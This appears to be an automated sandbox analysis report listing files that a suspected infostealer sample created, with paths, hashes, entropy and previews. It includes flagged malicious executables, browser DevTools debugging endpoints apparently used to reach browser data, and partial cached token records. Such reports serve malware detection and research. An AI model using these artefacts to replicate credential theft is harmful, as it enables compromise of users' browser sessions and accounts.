...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.004949177217324
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclUCTTWdLyn:YWLSGTt1o9LuLgfGBPAzkVj/T8lUCfam
MD5:	43A158ABCC2E460584E76C6D64F622C2
SHA1:	80B427C563BF2348F859587C9B744218BDB54480
SHA-256:	3D4AC33E12E450C1CFFF342DA8A77DBCD346EBA406F706ACBEA071B602AC4E3D
SHA-512:	9C07BC7C011CAE624B455F6EAE68120BA1E98FBE768E46A3C6C5EE86248BDDB6234A3C72544591E702AAA1A8BFB97B4D3968D4358151A129524D1DCA6D1B0F85
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1731528463815101}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\bd503359-c616-4b7c-95f0-617b09b8f4a7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46439
Entropy (8bit):	6.086944942942418
Encrypted:	false
SSDEEP:	768:HMkbJrT8IeQcrQgLKU4ni1zNtVPWOtLcwFU2xJP218xCioPJDSgzMMd6qD47u30m:HMk1rT8HrKo1P218xFoPtSmd6qE7Y
MD5:	E511516842B449E278B8AC5D630E9967
SHA1:	582E684199F69D52151D85224AD6DF01693F28A6
SHA-256:	3C5052BCED7C808BB53ED28FB8A8D560CF8FE16DD07498B4A091CB35CBE7E917
SHA-512:	088303315559AA3268A155F98CDF73A477A63C05AC5D4638F18D1F412EB2B31C5F4A6C9329DAB728BB6D10E96771CECE0AAA5A192EC7E18BF8236EFC950960F9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13375901261024332","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"8d11bb5d-8d60-464a-adf5-47607f3278b0"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c359c9c3-4ee8-4db5-8dce-06700fb000be.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46439
Entropy (8bit):	6.086948416457495
Encrypted:	false
SSDEEP:	768:HMkbJrT8IeQcrQgL9U4ni1zNtVPWOtLcwFU2xJP218xCioPJDSgzMMd6qD47u30m:HMk1rT8Hr9o1P218xFoPtSmd6qE7Y
MD5:	4B966D5B0C1EB61A54B1E12B172533F2
SHA1:	93216CB35D13A5B65597AFB984FF40470A094A5F
SHA-256:	9B8F92725FD2EF8783EE68324D5EBBE9C81B956929DC8CDB610BF206C2C8BC0E
SHA-512:	309D78FB10DD5C49E4B950A898618D2161519A8D57F7B3DDC9CAB6F57ACC753FE72D8B5E84AB02018254B6D8BCF493AD558CD1CEE7ECC4B2909C878126588401
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13375901261024332","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"8d11bb5d-8d60-464a-adf5-47607f3278b0"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ca0f961b-6d9e-4fb3-bd0c-355403d0a773.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755058699061
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWCdi1zNtPMYkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynCvkzItSmd6qE7lFoC
MD5:	0201455CE1B273E6D9A0648362D2A32C
SHA1:	AD3ECA68061054FCC02259DED75E84E0FC24C338
SHA-256:	798ED0777C2208C918D88B77EA51C0290B55482B82F0F520F9B300BF27228883
SHA-512:	C212C9E4FFA0EE49D419A335C518FF71CAB6E2D91A719C00C199C489083826EE19F830B4518448F09E9E534F51EFB29CB1E037D2EF78A878212EBCFBFE9086EF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e7527a3b-08a5-487a-8037-985cbddc749b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44979
Entropy (8bit):	6.095796652927943
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWuci1zNtVPz9OtLcwFU2xJKJDSgzMMd6qD47u3+CiB:+/Ps+wsI7yO3ziKtSmd6qE7lFoC
MD5:	8419FFEA8D487E1436CAD935EF04BBA9
SHA1:	97D0CAE79E6B434BB7BB294BA0297A3115EF0273
SHA-256:	9630205F4B9D885F134A45DCADD786D8761D1B3846D5A639BF117821FB7AD243
SHA-512:	F7551C15F17A39FDC35B023E3089D5725FB484C45195DE17E44E76B177E5F22C6E9D37CFDDAEEA5CAE9665E1CF1CA94D3EB8E8C0B7E786B6192523EAF5A1FF15
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.845492787260701
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxHxl9Il8uSZdcsu+5/ZuIg6mqrK7PO98Wzd1rc:mOYQZCV+5/8ILrh98R
MD5:	23C34D623901338033A1D98CAD341D7E
SHA1:	2735E6DB500104BC11EB2A928F46530E28BEF591
SHA-256:	163350CF1FF8B4815D6E9F7255BE3C4BC8CAD0EA384DF43F0CF736A0B283D389
SHA-512:	A6C4B1787D2D48FD3FF76260A6605F6D95DF922A74119B68746B803D664211B11B023837F1E0173E405AE808819D6E5E8A9FDC6A81520FD040AA4A63A50609A1
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.H.C.u.Y.y.U.1.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.M.H.Y.i.Y.l.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9986432284786324
Encrypted:	false
SSDEEP:	96:hYQZNh0Iac/RnhU/ihHAKQ1R+3484lUo1hrU3:h3iu5PAV44zSAa3
MD5:	1153425BF85F2D28FB717C67B8AC0D58
SHA1:	A270EF29264F88039CA933B6288978EECDB5EC85
SHA-256:	1A42F3CE228D559C0566B4517B71DCF662FE6840C0858B51F9840EFA71738607
SHA-512:	41EBCED985A677D7D9C99D24628E7303AF9135424F633D7E8473F0E79F2695014709B4E8815CB1588EB1E5B144E5CE5D146D175AD486ABFFCA5C9B241D4618D5
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".0.c.E.e.S.R.0.1.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.M.H.Y.i.Y.l.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.901234630895399
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xMxl9Il8uSZDECC088KgAmI/6wN2Pmswsd/vc:a2YQZDECC0/JAZXwPmswF
MD5:	ACB7DAC254CAB468E83DE32CEB7B6AF8
SHA1:	810D469FDC0463D0489EB9140885CB9A25B499E2
SHA-256:	27C2ED9776843639ACAF14AFB99504F2F09AE40112F5D9CA855A93B30B55EC24
SHA-512:	5EA60DB96192B81DBE834C6BF9CD320A654EA6E316BA179C05A464BCCFFC21A07F89689F27C273EBD3113590CA1B5933E65E6C3D7CB03032247B18C3E06F0094
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".k.7.1.a.e.e.5.T.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.M.H.Y.i.Y.l.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.389072591840995
Encrypted:	false
SSDEEP:	96:6NnQa5HQoNnQIbQdNnQM9QXNnQNdgEQUNnQwQWNnQhtgDQhjNnQMwQbNnQGwB3QQ:6NvNINSNkVN5NZONbnNZwDF
MD5:	D1FF0FA5701B2F1E022CB5EA2DF3E6CA
SHA1:	AEAD3C5DF0018D4CED09B5CE4683A7B7924B72B4
SHA-256:	266CCCE38A867BA448FB9F15B3E36FBA3F4914C853F081598D030FD329704E95
SHA-512:	0654837C08560C655460F70D90F5E0489327832017989C94973CB0F482C1F90882A18CECD7A88D3DEBDAB027536DE3E2169CFD65E20EE7FF83A288A42F9CA8D6
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/8F4ED526A664920D3DF121A9EC5B2366",.. "id": "8F4ED526A664920D3DF121A9EC5B2366",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/8F4ED526A664920D3DF121A9EC5B2366"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/CADE304B72C91D82C22F058273B4A333",.. "id": "CADE304B72C91D82C22F058273B4A333",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/CADE304B72C91D82C22F058273B4A333"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1795072
Entropy (8bit):	7.946273941198969
Encrypted:	false
SSDEEP:	49152:PQAe6ZYP45NvOoWz7BJefHtK3MNPuJAjfIYDDE:5e6Zx7tWJJ+Nxt0ArbE
MD5:	9AD1DC3F66828CD80DD118BD50CE909E
SHA1:	9F5E105CBB3C8B6CDE813B03150A12BCA2391560
SHA-256:	39DB6939E03C7CD0DC5D8DC9944C2B2C1720DB9AE2749BE170355021C072DD33
SHA-512:	C8A69B549B2D83CD29B25544CB2CF5497227B4C9EBBB28C269E60127336DF26D88B76984C37C46BFB1EF0BB8A2C8E0AC558F932B9C017EA0AB9521CE3E79BE72
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................@".......h...........@...........................h.....5l....@.................................M.$.a.............................$..................................................................................... . ..$......b..................@....rsrc ......$......r..............@....idata ......$......r..............@... ..*...$......t..............@...oweoibkj......N......v..............@...uwilijgs......h......>..............@....taggant.0....h.."...B..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.370647074495037
Encrypted:	false
SSDEEP:	48:SfNaoQJ7TEQSfNaoQ0QnfNaoQc0ubL05Qc0XfNaoQGJbL0F0UrU0U8QGQ:6NnQBTEQ6NnQ0QfNnQcXLsQcANnQgLuW
MD5:	0D20C5F19DE911C2B95C8DBB518E9EB8
SHA1:	7AE023128218EDDA51AF394EC85CB51ACBE14D8D
SHA-256:	197E30617B2857081C2FA03DF666FF54CB610AD586E2FAE1C84607566C01846F
SHA-512:	79642BF2A28F94AEBB0E075ADF5D330F6F14F3E287D48CA14D95FB9A9AFE961EF6D7687302D0EEE1EC6EA05C985AB67A8950F1DEA0DC683F42F4DC3499614544
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/4DFEAB952795F15724B43CC611492CA1",.. "id": "4DFEAB952795F15724B43CC611492CA1",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/4DFEAB952795F15724B43CC611492CA1"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/B0067BCB535CCE3541E256CC1D4CB823",.. "id": "B0067BCB535CCE3541E256CC1D4CB823",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/B0067BCB535CCE3541E256CC1D4CB823"..}, 